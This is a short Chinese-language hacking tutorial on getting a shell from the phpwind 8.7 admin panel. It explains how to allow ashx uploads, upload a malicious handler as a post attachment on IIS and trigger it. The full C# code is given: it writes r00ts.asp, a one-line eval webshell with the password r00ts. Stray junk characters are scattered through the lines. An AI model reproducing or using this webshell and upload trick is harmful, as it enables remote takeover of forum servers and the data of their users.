phpwind 8.7 后台拿shell

admin

首先点开后台地图 然后附件设置 添加一个ashx后缀 2000大小
) L" E$ p; i" \& h8 I
" Z" A5 v  `) L9 z  N群里面我以前扔的那个ashx.txt 下载回来改成fuck.ashx

8 g+ [3 V+ s, J3 ?$ {! P# k) G发表文章那边有个附件上传 把ashx扔上去 前提是iis 阿帕奇我还真不知道咋整
& z* G2 |/ {3 X
然后再打开后台地图 附件优化 滑到下面就看到刚上传的ashx

8 d9 E: _1 E. d/ l+ X! h打开之后空白 会在目录底下生成r00ts.asp 密码r00ts
2 o. [* a  v& {. T5 N& Y
下面是代码:
' t8 K; B3 @% x& r! i4 l- D2 o5 l9 a
' C$ x  s! [' I. O# `# V<%@ WebHandler Language="C#"Class="Handler" %>
using System;
& g. V; L5 e: i" Eusing System.Web;
" W+ G  d' O. S8 y1 c, @using System.IO;
/ W4 p) M$ y, {: H5 }( dpublic class Handler : IHttpHandler {
public void ProcessRequest (HttpContext context) {
context.Response.ContentType = "text/plain";
StreamWriter file1= File.CreateText(context.Server.MapPath("r00ts.asp"));
- p7 r$ Z4 a( p& W& W- Hfile1.Write("<%eval request(\"r00ts\")%>");
file1.Flush();
file1.Close();
: r: I  V2 T3 _}
public bool IsReusable {
: J0 f! U. x% ?- i: aget {
5 m' C' y- W6 [9 V! f/ ^$ B" ]return false;
, \: j; }0 h# _; J9 m4 Z}
}
}
; ]3 U9 B/ G% ?